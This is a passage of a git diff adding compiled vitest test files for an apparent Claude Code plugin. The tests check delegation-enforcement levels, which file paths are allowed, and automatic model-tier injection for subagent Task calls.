directory: '/tmp/test-project',
};
it('defaults to warn when no config file exists', () => {
mockExistsSync.mockReturnValue(false);
const result = processOrchestratorPreTool(sourceFileInput);
// warn = continue: true with message
expect(result.continue).toBe(true);
expect(result.message).toBeDefined();
expect(result.message).toContain('DELEGATION REQUIRED');
});
it('local config overrides global config', () => {
// Local config exists with 'off', global has 'strict'
mockExistsSync.mockImplementation((p) => {
const s = String(p);
if (/[\\/]tmp[\\/]test-project[\\/]\.omc[\\/]config\.json$/.test(s))
return true;
if (/[\\/]mock[\\/]home[\\/]\.claude[\\/]\.omc-config\.json$/.test(s))
return true;
return false;
});
mockReadFileSync.mockImplementation((p) => {
const s = String(p);
if (/[\\/]tmp[\\/]test-project[\\/]\.omc[\\/]config\.json$/.test(s)) {
return JSON.stringify({ delegationEnforcementLevel: 'off' });
}
if (/[\\/]mock[\\/]home[\\/]\.claude[\\/]\.omc-config\.json$/.test(s)) {
return JSON.stringify({ delegationEnforcementLevel: 'strict' });
}
return '';
});
const result = processOrchestratorPreTool(sourceFileInput);
// 'off' means early exit, continue with no message
expect(result.continue).toBe(true);
expect(result.message).toBeUndefined();
});
it('falls back to global config when no local config', () => {
mockExistsSync.mockImplementation((p) => {
const s = String(p);
if (/[\\/]mock[\\/]home[\\/]\.claude[\\/]\.omc-config\.json$/.test(s))
return true;
return false;
});
mockReadFileSync.mockImplementation((p) => {
const s = String(p);
if (/[\\/]mock[\\/]home[\\/]\.claude[\\/]\.omc-config\.json$/.test(s)) {
return JSON.stringify({ delegationEnforcementLevel: 'strict' });
}
return '';
});
const result = processOrchestratorPreTool(sourceFileInput);
// strict = blocked
expect(result.continue).toBe(false);
expect(result.reason).toBe('DELEGATION_REQUIRED');
});
it('falls back to warn on invalid enforcement level in config', () => {
mockExistsSync.mockImplementation((p) => {
const s = String(p);
if (/[\\/]tmp[\\/]test-project[\\/]\.omc[\\/]config\.json$/.test(s))
return true;
return false;
});
mockReadFileSync.mockImplementation(() => {
return JSON.stringify({ delegationEnforcementLevel: 'invalid-value' });
});
const result = processOrchestratorPreTool(sourceFileInput);
// Should fall back to 'warn'
expect(result.continue).toBe(true);
expect(result.message).toBeDefined();
});
it('falls back to warn on malformed JSON config', () => {
mockExistsSync.mockImplementation((p) => {
const s = String(p);
if (/[\\/]tmp[\\/]test-project[\\/]\.omc[\\/]config\.json$/.test(s))
return true;
return false;
});
mockReadFileSync.mockImplementation(() => {
return 'not valid json {{{';
});
const result = processOrchestratorPreTool(sourceFileInput);
// Malformed JSON -> catch block -> continue to next config -> default warn
expect(result.continue).toBe(true);
expect(result.message).toBeDefined();
});
it('supports enforcementLevel key as alternative', () => {
mockExistsSync.mockImplementation((p) => {
const s = String(p);
if (/[\\/]tmp[\\/]test-project[\\/]\.omc[\\/]config\.json$/.test(s))
return true;
return false;
});
mockReadFileSync.mockImplementation(() => {
return JSON.stringify({ enforcementLevel: 'strict' });
});
const result = processOrchestratorPreTool(sourceFileInput);
expect(result.continue).toBe(false);
expect(result.reason).toBe('DELEGATION_REQUIRED');
});
});
// ─── 3. processOrchestratorPreTool enforcement levels ───
describe('processOrchestratorPreTool enforcement levels', () => {
function setEnforcement(level) {
mockExistsSync.mockImplementation((p) => {
const s = String(p);
if (/[\\/]\.omc[\\/]config\.json$/.test(s))
return true;
return false;
});
mockReadFileSync.mockImplementation(() => {
return JSON.stringify({ delegationEnforcementLevel: level });
});
}
describe('enforcement=off', () => {
it('write to source file continues with no message', () => {
setEnforcement('off');
const result = processOrchestratorPreTool({
toolName: 'Write',
toolInput: { filePath: 'src/app.ts' },
directory: '/tmp/test-project',
});
expect(result.continue).toBe(true);
expect(result.message).toBeUndefined();
expect(result.reason).toBeUndefined();
});
});
describe('enforcement=warn', () => {
it('write to source file continues with warning message and agent suggestion', () => {
setEnforcement('warn');
const result = processOrchestratorPreTool({
toolName: 'Write',
toolInput: { filePath: 'src/app.ts' },
directory: '/tmp/test-project',
});
expect(result.continue).toBe(true);
expect(result.message).toBeDefined();
expect(result.message).toContain('DELEGATION REQUIRED');
expect(result.message).toContain('src/app.ts');
expect(result.message).toContain('Suggested agent:');
});
});
describe('enforcement=strict', () => {
it('write to source file blocks with continue=false, reason, and message', () => {
setEnforcement('strict');
const result = processOrchestratorPreTool({
toolName: 'Write',
toolInput: { filePath: 'src/app.ts' },
directory: '/tmp/test-project',
});
expect(result.continue).toBe(false);
expect(result.reason).toBe('DELEGATION_REQUIRED');
expect(result.message).toBeDefined();
expect(result.message).toContain('DELEGATION REQUIRED');
expect(result.message).toContain('Suggested agent:');
});
});
describe('allowed paths always continue', () => {
const allowedPaths = [
'.omc/plans/test.md',
'.claude/settings.json',
'docs/CLAUDE.md',
'AGENTS.md',
];
it.each(allowedPaths)('allows %s regardless of enforcement level', (filePath) => {
setEnforcement('strict');
const result = processOrchestratorPreTool({
toolName: 'Write',
toolInput: { filePath },
directory: '/tmp/test-project',
});
expect(result.continue).toBe(true);
expect(result.reason).toBeUndefined();
});
});
describe('non-write tools always continue', () => {
it.each(['Read', 'Bash', 'Glob', 'Grep', 'Task'])('%s tool continues regardless of enforcement level', (toolName) => {
setEnforcement('strict');
const result = processOrchestratorPreTool({
toolName,
toolInput: { filePath: 'src/app.ts' },
directory: '/tmp/test-project',
});
expect(result.continue).toBe(true);
expect(result.message).toBeUndefined();
});
});
it('warning message includes agent suggestion text', () => {
setEnforcement('warn');
const result = processOrchestratorPreTool({
toolName: 'Edit',
toolInput: { filePath: 'src/component.tsx' },
directory: '/tmp/test-project',
});
expect(result.message).toContain('Suggested agent: designer-low (simple) or designer (complex UI)');
});
it('handles filePath in different input keys', () => {
setEnforcement('warn');
// toolInput.path
const result1 = processOrchestratorPreTool({
toolName: 'Write',
toolInput: { path: 'src/app.py' },
directory: '/tmp/test-project',
});
expect(result1.message).toBeDefined();
expect(result1.message).toContain('src/app.py');
// toolInput.file
const result2 = processOrchestratorPreTool({
toolName: 'Write',
toolInput: { file: 'src/app.go' },
directory: '/tmp/test-project',
});
expect(result2.message).toBeDefined();
expect(result2.message).toContain('src/app.go');
});
it('handles undefined toolInput gracefully', () => {
setEnforcement('warn');
const result = processOrchestratorPreTool({
toolName: 'Write',
toolInput: undefined,
directory: '/tmp/test-project',
});
// No filePath extracted -> isAllowedPath(undefined) -> true -> continue
expect(result.continue).toBe(true);
});
});
// ─── 4. AuditEntry interface ───
describe('AuditEntry interface', () => {
it('accepts blocked decision', () => {
const entry = {
timestamp: new Date().toISOString(),
tool: 'Write',
filePath: 'src/app.ts',
decision: 'blocked',
reason: 'source_file',
enforcementLevel: 'strict',
sessionId: 'test-session',
};
expect(entry.decision).toBe('blocked');
expect(entry.enforcementLevel).toBe('strict');
});
it('accepts warned decision', () => {
const entry = {
timestamp: new Date().toISOString(),
tool: 'Edit',
filePath: 'src/app.ts',
decision: 'warned',
reason: 'source_file',
enforcementLevel: 'warn',
};
expect(entry.decision).toBe('warned');
expect(entry.enforcementLevel).toBe('warn');
});
it('accepts allowed decision without enforcementLevel', () => {
const entry = {
timestamp: new Date().toISOString(),
tool: 'Write',
filePath: '.omc/plans/test.md',
decision: 'allowed',
reason: 'allowed_path',
};
expect(entry.decision).toBe('allowed');
expect(entry.enforcementLevel).toBeUndefined();
});
it('enforcementLevel field is present in logged entries for warned/blocked', () => {
const entry = {
timestamp: new Date().toISOString(),
tool: 'Write',
filePath: 'src/app.ts',
decision: 'blocked',
reason: 'source_file',
enforcementLevel: 'strict',
};
expect('enforcementLevel' in entry).toBe(true);
expect(entry.enforcementLevel).toBeDefined();
});
});
// ─── 5. processPreToolUse integration (bridge.ts) ───
describe('processPreToolUse integration via processHook', () => {
// We test the bridge by importing processHook
// Need to dynamically import to get fresh mocks
let processHook;
beforeEach(async () => {
// Mock additional bridge dependencies
vi.mock('../hud/background-tasks.js', () => ({
addBackgroundTask: vi.fn(),
completeBackgroundTask: vi.fn(),
}));
vi.mock('../hooks/ralph/index.js', () => ({
readRalphState: vi.fn(() => null),
incrementRalphIteration: vi.fn(),
clearRalphState: vi.fn(),
createRalphLoopHook: vi.fn(() => ({ startLoop: vi.fn() })),
readVerificationState: vi.fn(() => null),
startVerification: vi.fn(),
getArchitectVerificationPrompt: vi.fn(),
clearVerificationState: vi.fn(),
}));
vi.mock('../hooks/keyword-detector/index.js', () => ({
detectKeywordsWithType: vi.fn(() => []),
removeCodeBlocks: vi.fn((t) => t),
}));
vi.mock('../hooks/todo-continuation/index.js', () => ({
checkIncompleteTodos: vi.fn(async () => ({ count: 0 })),
}));
vi.mock('../hooks/persistent-mode/index.js', () => ({
checkPersistentModes: vi.fn(async () => ({ shouldContinue: true })),
createHookOutput: vi.fn(() => ({ continue: true })),
}));
vi.mock('../hooks/ultrawork/index.js', () => ({
activateUltrawork: vi.fn(),
readUltraworkState: vi.fn(() => null),
}));
vi.mock('../hooks/autopilot/index.js', () => ({
readAutopilotState: vi.fn(() => null),
isAutopilotActive: vi.fn(() => false),
getPhasePrompt: vi.fn(),
transitionPhase: vi.fn(),
formatCompactSummary: vi.fn(),
}));
vi.mock('../installer/hooks.js', () => ({
ULTRAWORK_MESSAGE: 'ultrawork',
ULTRATHINK_MESSAGE: 'ultrathink',
SEARCH_MESSAGE: 'search',
ANALYZE_MESSAGE: 'analyze',
TODO_CONTINUATION_PROMPT: 'continue',
RALPH_MESSAGE: 'ralph',
}));
const bridge = await import('../hooks/bridge.js');
processHook = bridge.processHook;
});
it('calls enforcement before HUD tracking', async () => {
// With strict enforcement, a Write to source should be blocked
// before any HUD tracking happens
mockExistsSync.mockImplementation((p) => {
const s = String(p);
if (/[\\/]\.omc[\\/]config\.json$/.test(s))
return true;
return false;
});
mockReadFileSync.mockImplementation(() => {
return JSON.stringify({ delegationEnforcementLevel: 'strict' });
});
const result = await processHook('pre-tool-use', {
toolName: 'Write',
toolInput: { filePath: 'src/app.ts' },
directory: '/tmp/test-project',
});
expect(result.continue).toBe(false);
expect(result.reason).toBe('DELEGATION_REQUIRED');
});
it('blocks propagated from enforcement', async () => {
mockExistsSync.mockImplementation((p) => {
const s = String(p);
if (/[\\/]\.omc[\\/]config\.json$/.test(s))
return true;
return false;
});
mockReadFileSync.mockImplementation(() => {
return JSON.stringify({ delegationEnforcementLevel: 'strict' });
});
const result = await processHook('pre-tool-use', {
toolName: 'Edit',
toolInput: { filePath: 'src/component.tsx' },
directory: '/tmp/test-project',
});
expect(result.continue).toBe(false);
expect(result.message).toContain('DELEGATION REQUIRED');
});
it('warnings propagated from enforcement', async () => {
mockExistsSync.mockReturnValue(false); // default warn
const result = await processHook('pre-tool-use', {
toolName: 'Write',
toolInput: { filePath: 'src/index.ts' },
directory: '/tmp/test-project',
});
expect(result.continue).toBe(true);
expect(result.message).toBeDefined();
expect(result.message).toContain('DELEGATION REQUIRED');
});
it('Task tool tracking still works when enforcement passes', async () => {
const { addBackgroundTask } = await import('../hud/background-tasks.js');
const mockAddTask = vi.mocked(addBackgroundTask);
mockExistsSync.mockReturnValue(false); // default warn, but Task is not a write tool
const result = await processHook('pre-tool-use', {
toolName: 'Task',
toolInput: {
description: 'Test task',
prompt: 'do stuff',
subagent_type: 'executor',
},
directory: '/tmp/test-project',
});
expect(result.continue).toBe(true);
expect(mockAddTask).toHaveBeenCalledWith(expect.stringContaining('task-'), 'Test task', 'executor', '/tmp/test-project');
});
});
// ─── Helper function unit tests ───
describe('isAllowedPath', () => {
it('returns true for .omc/ paths', () => {
expect(isAllowedPath('.omc/plans/test.md')).toBe(true);
});
it('returns true for .claude/ paths', () => {
expect(isAllowedPath('.claude/settings.json')).toBe(true);
});
it('returns true for CLAUDE.md', () => {
expect(isAllowedPath('CLAUDE.md')).toBe(true);
expect(isAllowedPath('docs/CLAUDE.md')).toBe(true);
});
it('returns true for AGENTS.md', () => {
expect(isAllowedPath('AGENTS.md')).toBe(true);
});
it('returns false for source files', () => {
expect(isAllowedPath('src/app.ts')).toBe(false);
});
it('returns true for empty/falsy path', () => {
expect(isAllowedPath('')).toBe(true);
});
});
describe('isSourceFile', () => {
it('returns true for source extensions', () => {
expect(isSourceFile('app.ts')).toBe(true);
expect(isSourceFile('app.py')).toBe(true);
expect(isSourceFile('app.go')).toBe(true);
expect(isSourceFile('app.rs')).toBe(true);
});
it('returns false for non-source extensions', () => {
expect(isSourceFile('readme.txt')).toBe(false);
expect(isSourceFile('data.yaml')).toBe(false);
});
it('returns false for empty path', () => {
expect(isSourceFile('')).toBe(false);
});
});
describe('isWriteEditTool', () => {
it('returns true for write/edit tools', () => {
expect(isWriteEditTool('Write')).toBe(true);
expect(isWriteEditTool('Edit')).toBe(true);
expect(isWriteEditTool('write')).toBe(true);
expect(isWriteEditTool('edit')).toBe(true);
});
it('returns false for other tools', () => {
expect(isWriteEditTool('Read')).toBe(false);
expect(isWriteEditTool('Bash')).toBe(false);
expect(isWriteEditTool('Task')).toBe(false);
});
});
});
//# sourceMappingURL=delegation-enforcement-levels.test.js.map

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,10 @@
/**
* Integration tests for delegation enforcer
* Tests the entire flow from hook input to modified output
*
* NOTE: These tests are SKIPPED because the delegation enforcer is not yet wired
* into the hooks bridge. The enforcer module exists but processHook() doesn't
* call it. These tests will be enabled once the integration is implemented.
*/
export {};
//# sourceMappingURL=delegation-enforcer-integration.test.d.ts.map

View File

@@ -0,0 +1 @@
{"version":3,"file":"delegation-enforcer-integration.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/delegation-enforcer-integration.test.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG"}

140
dist/__tests__/delegation-enforcer-integration.test.js generated vendored Normal file
View File

@@ -0,0 +1,140 @@
/**
* Integration tests for delegation enforcer
* Tests the entire flow from hook input to modified output
*
* NOTE: These tests are SKIPPED because the delegation enforcer is not yet wired
* into the hooks bridge. The enforcer module exists but processHook() doesn't
* call it. These tests will be enabled once the integration is implemented.
*/
import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest';
import { processHook } from '../hooks/bridge.js';
describe.skip('delegation-enforcer integration', () => {
let originalDebugEnv;
beforeEach(() => {
originalDebugEnv = process.env.OMC_DEBUG;
});
afterEach(() => {
if (originalDebugEnv === undefined) {
delete process.env.OMC_DEBUG;
}
else {
process.env.OMC_DEBUG = originalDebugEnv;
}
});
describe('pre-tool-use hook with Task calls', () => {
it('injects model parameter for Task call without model', async () => {
const input = {
toolName: 'Task',
toolInput: {
description: 'Test task',
prompt: 'Do something',
subagent_type: 'oh-my-claudecode:executor'
}
};
const result = await processHook('pre-tool-use', input);
expect(result.continue).toBe(true);
expect(result.modifiedInput).toBeDefined();
const modifiedInput = result.modifiedInput;
expect(modifiedInput.model).toBe('sonnet');
expect(modifiedInput.description).toBe('Test task');
expect(modifiedInput.prompt).toBe('Do something');
});
it('preserves explicit model parameter', async () => {
const input = {
toolName: 'Task',
toolInput: {
description: 'Test task',
prompt: 'Do something',
subagent_type: 'oh-my-claudecode:executor',
model: 'haiku'
}
};
const result = await processHook('pre-tool-use', input);
expect(result.continue).toBe(true);
expect(result.modifiedInput).toBeDefined();
const modifiedInput = result.modifiedInput;
expect(modifiedInput.model).toBe('haiku');
});
it('handles Agent tool name', async () => {
const input = {
toolName: 'Agent',
toolInput: {
description: 'Test task',
prompt: 'Do something',
subagent_type: 'executor-low'
}
};
const result = await processHook('pre-tool-use', input);
expect(result.continue).toBe(true);
const modifiedInput = result.modifiedInput;
expect(modifiedInput.model).toBe('haiku');
});
it('does not modify non-agent tools', async () => {
const input = {
toolName: 'Bash',
toolInput: {
command: 'ls -la'
}
};
const result = await processHook('pre-tool-use', input);
expect(result.continue).toBe(true);
const modifiedInput = result.modifiedInput;
expect(modifiedInput.command).toBe('ls -la');
expect(modifiedInput).not.toHaveProperty('model');
});
it('works with all agent tiers', async () => {
const testCases = [
{ agent: 'architect', expectedModel: 'opus' },
{ agent: 'architect-low', expectedModel: 'haiku' },
{ agent: 'executor-high', expectedModel: 'opus' },
{ agent: 'executor-low', expectedModel: 'haiku' },
{ agent: 'designer-high', expectedModel: 'opus' }
];
for (const testCase of testCases) {
const input = {
toolName: 'Task',
toolInput: {
description: 'Test',
prompt: 'Test',
subagent_type: testCase.agent
}
};
const result = await processHook('pre-tool-use', input);
const modifiedInput = result.modifiedInput;
expect(modifiedInput.model).toBe(testCase.expectedModel);
}
});
it('does not log warning when OMC_DEBUG not set', async () => {
delete process.env.OMC_DEBUG;
const consoleWarnSpy = vi.spyOn(console, 'warn');
const input = {
toolName: 'Task',
toolInput: {
description: 'Test',
prompt: 'Test',
subagent_type: 'executor'
}
};
await processHook('pre-tool-use', input);
expect(consoleWarnSpy).not.toHaveBeenCalled();
consoleWarnSpy.mockRestore();
});
it('logs warning when OMC_DEBUG=true', async () => {
process.env.OMC_DEBUG = 'true';
const consoleWarnSpy = vi.spyOn(console, 'warn');
const input = {
toolName: 'Task',
toolInput: {
description: 'Test',
prompt: 'Test',
subagent_type: 'executor'
}
};
await processHook('pre-tool-use', input);
expect(consoleWarnSpy).toHaveBeenCalledWith(expect.stringContaining('[OMC] Auto-injecting model'));
expect(consoleWarnSpy).toHaveBeenCalledWith(expect.stringContaining('sonnet'));
consoleWarnSpy.mockRestore();
});
});
});
//# sourceMappingURL=delegation-enforcer-integration.test.js.map

View File

@@ -0,0 +1 @@
{"version":3,"file":"delegation-enforcer-integration.test.js","sourceRoot":"","sources":["../../src/__tests__/delegation-enforcer-integration.test.ts"],"names":[],"mappings":"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"}

5
dist/__tests__/delegation-enforcer.test.d.ts generated vendored Normal file
View File

@@ -0,0 +1,5 @@
/**
* Tests for delegation enforcer middleware
*/
export {};
//# sourceMappingURL=delegation-enforcer.test.d.ts.map

1
dist/__tests__/delegation-enforcer.test.d.ts.map generated vendored Normal file
View File

@@ -0,0 +1 @@
{"version":3,"file":"delegation-enforcer.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/delegation-enforcer.test.ts"],"names":[],"mappings":"AAAA;;GAEG"}

208
dist/__tests__/delegation-enforcer.test.js generated vendored Normal file
View File

@@ -0,0 +1,208 @@
/**
* Tests for delegation enforcer middleware
*/
import { describe, it, expect, beforeEach, afterEach } from 'vitest';
import { enforceModel, isAgentCall, processPreToolUse, getModelForAgent } from '../features/delegation-enforcer.js';
describe('delegation-enforcer', () => {
let originalDebugEnv;
beforeEach(() => {
originalDebugEnv = process.env.OMC_DEBUG;
});
afterEach(() => {
if (originalDebugEnv === undefined) {
delete process.env.OMC_DEBUG;
}
else {
process.env.OMC_DEBUG = originalDebugEnv;
}
});
describe('enforceModel', () => {
it('preserves explicitly specified model', () => {
const input = {
description: 'Test task',
prompt: 'Do something',
subagent_type: 'oh-my-claudecode:executor',
model: 'haiku'
};
const result = enforceModel(input);
expect(result.injected).toBe(false);
expect(result.modifiedInput.model).toBe('haiku');
expect(result.modifiedInput).toEqual(input);
});
it('injects model from agent definition when not specified', () => {
const input = {
description: 'Test task',
prompt: 'Do something',
subagent_type: 'oh-my-claudecode:executor'
};
const result = enforceModel(input);
expect(result.injected).toBe(true);
expect(result.modifiedInput.model).toBe('sonnet'); // executor defaults to sonnet
expect(result.originalInput.model).toBeUndefined();
});
it('handles agent type without prefix', () => {
const input = {
description: 'Test task',
prompt: 'Do something',
subagent_type: 'executor-low'
};
const result = enforceModel(input);
expect(result.injected).toBe(true);
expect(result.modifiedInput.model).toBe('haiku'); // executor-low defaults to haiku
});
it('throws error for unknown agent type', () => {
const input = {
description: 'Test task',
prompt: 'Do something',
subagent_type: 'unknown-agent'
};
expect(() => enforceModel(input)).toThrow('Unknown agent type');
});
it('logs warning only when OMC_DEBUG=true', () => {
const input = {
description: 'Test task',
prompt: 'Do something',
subagent_type: 'executor'
};
// Without debug flag
delete process.env.OMC_DEBUG;
const resultWithoutDebug = enforceModel(input);
expect(resultWithoutDebug.warning).toBeUndefined();
// With debug flag
process.env.OMC_DEBUG = 'true';
const resultWithDebug = enforceModel(input);
expect(resultWithDebug.warning).toBeDefined();
expect(resultWithDebug.warning).toContain('Auto-injecting model');
expect(resultWithDebug.warning).toContain('sonnet');
expect(resultWithDebug.warning).toContain('executor');
});
it('does not log warning when OMC_DEBUG is false', () => {
const input = {
description: 'Test task',
prompt: 'Do something',
subagent_type: 'executor'
};
process.env.OMC_DEBUG = 'false';
const result = enforceModel(input);
expect(result.warning).toBeUndefined();
});
it('works with all tiered agents', () => {
const testCases = [
{ agent: 'architect', expectedModel: 'opus' },
{ agent: 'architect-medium', expectedModel: 'sonnet' },
{ agent: 'architect-low', expectedModel: 'haiku' },
{ agent: 'executor', expectedModel: 'sonnet' },
{ agent: 'executor-high', expectedModel: 'opus' },
{ agent: 'executor-low', expectedModel: 'haiku' },
{ agent: 'explore', expectedModel: 'haiku' },
{ agent: 'explore-medium', expectedModel: 'sonnet' },
{ agent: 'designer', expectedModel: 'sonnet' },
{ agent: 'designer-high', expectedModel: 'opus' },
{ agent: 'designer-low', expectedModel: 'haiku' }
];
for (const testCase of testCases) {
const input = {
description: 'Test',
prompt: 'Test',
subagent_type: testCase.agent
};
const result = enforceModel(input);
